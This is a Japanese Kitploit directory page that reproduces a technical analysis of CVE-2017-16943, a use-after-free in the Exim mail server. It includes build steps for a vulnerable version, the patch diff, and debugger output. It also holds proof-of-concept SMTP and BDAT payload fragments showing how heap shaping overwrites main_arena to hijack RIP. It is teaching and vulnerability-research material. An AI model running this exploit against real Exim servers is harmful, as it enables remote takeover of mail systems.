Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2017-16943 — CVE-2017-16943の技術的分析と概念実証エクスプロイト(Exim MTAの解放後使用(use-after-free)脆弱性、ヒープ操作とRIPハイジャックのウォークスルー付き) | Kitploit
ツール/GitHubGitHub/beraphin/cve-2017-16943
メモリフォレンジック脆弱性分析エクスプロイトデバッガ学習と教育バイナリエクスプロイト
GitHubberaphin/cve-2017-16943

CVE-2017-16943

CVE-2017-16943の技術的分析と概念実証エクスプロイト(Exim MTAの解放後使用(use-after-free)脆弱性、ヒープ操作とRIPハイジャックのウォークスルー付き)

リポジトリを見る
6年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2017-16943

環境構築

root@kitploit:~
git clone https://github.com/Exim/exim.git
git checkout 01c594601670c7e48e676d6c6d32d0f0084067fa
cd ./exim/src
mkdir Local
wget "https://bugs.exim.org/attachment.cgi?id=1051" -O Makefile

Makefile内のパス変数とユーザー名を修正

root@kitploit:~
cd ..
make -j8
sudo make install

インストール後、configure内の accept hosts = : を accept hosts = * に変更 実行:

root@kitploit:~
exim -bdf -d-receive

脆弱性分析

この脆弱性はUAF(Use-After-Free)である。脆弱性は receive.c 内の receive_msg 関数で発生し、この関数はクライアントからの入力を受け取るために使用される。パッチ記録を確認:

root@kitploit:~
 src/src/receive.c | 7 ++++---
 1 file changed, 4 insertions(+), 3 deletions(-)

diff --git a/src/src/receive.c b/src/src/receive.c
index e7e518a..d9b5001 100644
--- a/src/src/receive.c
+++ b/src/src/receive.c
@@ -1810,8 +1810,8 @@ for (;;)
   (and sometimes lunatic messages can have ones that are 100s of K long) we
   call store_release() for strings that have been copied - if the string is at
   the start of a block (and therefore the only thing in it, because we aren't
-  doing any other gets), the block gets freed. We can only do this because we
-  know there are no other calls to store_get() going on. */
+  doing any other gets), the block gets freed. We can only do this release if
+  there were no allocations since the once that we want to free. */
 
   if (ptr >= header_size - 4)
     {
@@ -1820,9 +1820,10 @@ for (;;)
     header_size *= 2;
     if (!store_extend(next->text, oldsize, header_size))
       {
+      BOOL release_ok = store_last_get[store_pool] == next->text;
       uschar *newtext = store_get(header_size);
       memcpy(newtext, next->text, ptr);
-      store_release(next->text);
+      if (release_ok) store_release(next->text);
       next->text = newtext;
       }
     }

ここでまずいくつかのグローバル変数の役割を明確にする:

root@kitploit:~
current_block: 現在のstoreblock。次にstore_get_3を使用する際、最初にこのstoreblockから空き領域を探す。
next_yield: current_block内の空きブロックの開始アドレスを指す。storeblockは一般的に上半分が使用され、下半分が空いている。
yield_length: next_yieldの長さ。

mehのPoCを分析すると、未パッチのプログラムでは以下のヒープレイアウトプロセスによりUAFをトリガーできることが分かる: まず、receive_msg 関数内で、next->text を storeblock の先頭バッファにする: 1

次に、bdat コマンドを使用してその text の下にバッファを割り当てる: なぜ bdat コマンドを使用するのか? 実際には、auth plain や不可視文字で構成された不正なコマンドでも text の下にバッファを割り当てることができる。しかし、他の命令では receive_msg 関数が終了してしまう。 再度 receive_msg に入ると、next->text が別の領域を指すようになり、脆弱性をトリガーできない。 一方、bdat コマンドは現在の receive_msg 関数を終了させない。この点が非常に重要である。 2

そして、文字を送信し続けて next_text を満たす(初期は 0x100)。プログラムが脆弱性ポイントに達する。 store_extend で、bdat バッファの存在により extend できないことが判明したため、store_get を実行して next_yield が指す領域を取得し、store_release 関数を呼び出す。 この関数では、release の引数が storeblock の先頭であるかのみチェックされ、その後に他のバッファが存在するかどうかはチェックされない。そのため、storeblock が直接解放される。 これにより、store_get が返したアドレスが依然として current_block 内にあるにもかかわらず、その直後に current_block が解放され、UAF が発生する。

RIP 奪取

ここでは PoC コードに沿って、RIP を奪取する方法を段階的に説明する。

root@kitploit:~
ehlo('test')
r.sendline("MAIL FROM:<test@localhost>")
r.recvline()
r.sendline("RCPT TO:<test@localhost>")
r.recvline()
unrec('a'*0x1100+'\x7f')

まず大量のデータを送信する。目的は yield_length を 0x130 未満かつ 0x30 より大きくすることである。 なぜこれが必要か? receive_msg 関数の冒頭を見てみる:

root@kitploit:~
...
File: receive.c
1700: received_header = header_list = header_last = store_get(sizeof(header_line));
1701: header_list->next = NULL;
1702: header_list->type = htype_old;
1703: header_list->text = NULL;
1704: header_list->slen = 0;
1705: 
1706: /* Control block for the next header to be read. */
1707: 
1708: next = store_get(sizeof(header_line));
1709: next->text = store_get(header_size);
...

next->text を割り当てる前に、2つの sizeof(header_line) サイズ(0x18)のバッファが割り当てられていることが分かる。 そのため、この2つの 0x18 のブロックを割り当てた後の残りサイズ yield_length が 0x100 未満の場合、next->text の割り当て時に store_get 内で新しい storeblock が割り当てられ、next->text はその storeblock の先頭になる。

次に bdat コマンドを呼び出す:

root@kitploit:~
r.sendline('BDAT 1')
r.sendline(':BDAT \xdd')

このコマンドには不可視文字が含まれており、エラーメッセージを保存するためのバッファを割り当てるために store_get が呼び出される:

root@kitploit:~
pwndbg> hexdump 0x71d0e0 
+0000 0x71d0e0  42 44 41 54  20 5c 33 33  35 00 20 63  68 75 6e 6b  │BDAT│.\33│5..c│hunk│
+0010 0x71d0f0  35 30 31 20  6d 69 73 73  69 6e 67 20  73 69 7a 65  │501.│miss│ing.│size│
+0020 0x71d100  20 66 6f 72  20 42 44 41  54 20 63 6f  6d 6d 61 6e  │.for│.BDA│T.co│mman│
+0030 0x71d110  64 0a 00 00  00 00 00 00  00 00 00 00  00 00 00 00  │d...│....│....│....│

(不正な命令に不可視文字が含まれている場合も、追加のヒープブロックが割り当てられる)

この状態で文字を送信し続ける:

root@kitploit:~
unrec('a'*6 + p64(0xdeadbeef)*(0x1e00/8))

これにより、1バイトずつ next->text に受信した文字が書き込まれる。0x100 の空き領域が埋まると、脆弱性コードが実行され、next->text のサイズが拡張される。 まず store_extend(next->text, oldsize, header_size) に入り、サイズを直接拡張しようとする:

root@kitploit:~
File: store.c
266: BOOL
267: store_extend_3(void *ptr, int oldsize, int newsize, const char *filename,
268:   int linenumber)
269: {
270: int inc = newsize - oldsize;
271: int rounded_oldsize = oldsize;
272: 
273: if (rounded_oldsize % alignment != 0)
274:   rounded_oldsize += alignment - (rounded_oldsize % alignment);
275: 
276: if (CS ptr + rounded_oldsize != CS (next_yield[store_pool]) ||
277:     inc > yield_length[store_pool] + rounded_oldsize - oldsize)
278:   return FALSE;
...

主な判定は276~277行目。 最初の条件は、拡張しようとするポインタ ptr の直後に next_yield が続いているかどうかをチェックする。 2番目の条件は、next_yield のサイズ(yield_length)を加えたものが十分かどうかをチェックする。 明らかに最初の条件は満たされない。なぜなら、next->text の後には bdat バッファがあり、そのさらに後ろに next_yield があるためである。

次に store_get が新しいブロックを割り当て、next_yield が割り当てられる。 続いて store_release を呼び出して元の next_text を解放する。ここでの判定ロジック:

root@kitploit:~
File: store.c
448: void
449: store_release_3(void *block, const char *filename, int linenumber)
450: {
451: storeblock *b;
452: 
453: /* It will never be the first block, so no need to check that. */
454: 
455: for (b = chainbase[store_pool]; b != NULL; b = b->next)
456:   {
457:   storeblock *bb = b->next;
458:   if (bb != NULL && CS block == CS bb + ALIGNED_SIZEOF_STOREBLOCK)
459:     {
...
482:     free(bb);
483:     return;
484:     }
485:   }
486: }
487: 

プログラムは chainbase から storeblock の next ポインタを辿り、解放するブロックが storeblock の先頭にある場合(455行目の2番目の条件)、その storeblock が解放される。 しかし、この時点で current_block はこのヒープブロックを指しており、新しい next_text もこのブロック内にあるため、UAF が発生する。 ヒープブロックが解放されると、current_block は unsortedbin に入る:

root@kitploit:~
pwndbg> tel &current_block
00:0000│   0x6e8ec0 (current_block) —▸ 0x71cfd0 —▸ 0x7ffff69abb78 (main_arena+88) —▸ 0x725020 ◂— 0x0
01:0008│   0x6e8ec8 (current_block+8) —▸ 0x723010 ◂— 0x0
02:0010│   0x6e8ed0 (current_block+16) ◂— 0x0
... ↓
04:0020│   0x6e8ee0 (chainbase) —▸ 0x70ff80 ◂— 0x0
05:0028│   0x6e8ee8 (chainbase+8) —▸ 0x6f3b30 —▸ 0x6f8cb0 —▸ 0x71eff0 —▸ 0x723010 ◂— ...
06:0030│   0x6e8ef0 (chainbase+16) ◂— 0x0
... ↓
pwndbg> 

このとき main_arena が storeblock チェーンに追加される。

文字が入力され続けると、元の next->text は store_extend によってサイズが拡張され続ける。 current_block はすでに解放されているが、next_yield は依然として current_block 内を指しているため、next->text は store_extend を通じて current_block 全体が埋まるまで拡張される。 最後に拡張できなくなると、再び store_get が呼び出されて新しいヒープブロックが取得される:

root@kitploit:~
File: store.c
128: void *
129: store_get_3(int size, const char *filename, int linenumber)
130: {
...
137: if (size % alignment != 0) size += alignment - (size % alignment);
138: 
139: /* If there isn't room in the current block, get a new one. The minimum
140: size is STORE_BLOCK_SIZE, and we would expect this to be the norm, since
141: these functions are mostly called for small amounts of store. */
142: 
143: if (size > yield_length[store_pool])
144:   {
145:   int length = (size <= STORE_BLOCK_SIZE)? STORE_BLOCK_SIZE : size;
146:   int mlength = length + ALIGNED_SIZEOF_STOREBLOCK;
147:   storeblock * newblock = NULL;
148: 
149:   /* Sometimes store_reset() may leave a block for us; check if we can use it */
150: 
151:   if (  (newblock = current_block[store_pool])
152:      && (newblock = newblock->next)
153:      && newblock->length < length
154:      )
155:     {
156:     /* Give up on this block, because it's too small */
157:     store_free(newblock);
158:     newblock = NULL;
159:     } 
...

151~153行目でプログラムは current_block->next を取得しようとし、そのヒープブロックが割り当てに十分なサイズかどうかを判定する。不十分であればそれを解放する。 current_block は現在 unsorted bin の中にあり、current_block->next は main_arena を指している。最後の条件は満たされないため、newblock = main_arena となる。

root@kitploit:~
File: store.c
176:   current_block[store_pool] = newblock;
177:   yield_length[store_pool] = newblock->length;
178:   next_yield[store_pool] =
179:     (void *)(CS current_block[store_pool] + ALIGNED_SIZEOF_STOREBLOCK);
180:   (void) VALGRIND_MAKE_MEM_NOACCESS(next_yield[store_pool], yield_length[store_pool]);
181:   }
...
186: store_last_get[store_pool] = next_yield[store_pool];
...
211: return store_last_get[store_pool];

このときプログラムは main_arena を新しいバッファとして直接返し、続く1824行目で元のヒープブロックの内容を新しいヒープブロックにコピーする。つまり main_arena を上書きする。

root@kitploit:~
File: receive.c
1816:   if (ptr >= header_size - 4)
1817:     {
1818:     int oldsize = header_size;
1819:     /* header_size += 256; */
1820:     header_size *= 2;
1821:     if (!store_extend(next->text, oldsize, header_size))
1822:       {
1823:       uschar *newtext = store_get(header_size);
1824:       memcpy(newtext, next->text, ptr);
1825:       store_release(next->text);
1826:       next->text = newtext;
1827:       }
1828:     }

この上書きにより直接 free_got が上書きされるため、以降任意の操作で RIP を奪取することが可能になる。

Reference

https://bugs.exim.org/show_bug.cgi?id=2199

https://paper.seebug.org/469/

ツールをダウンロード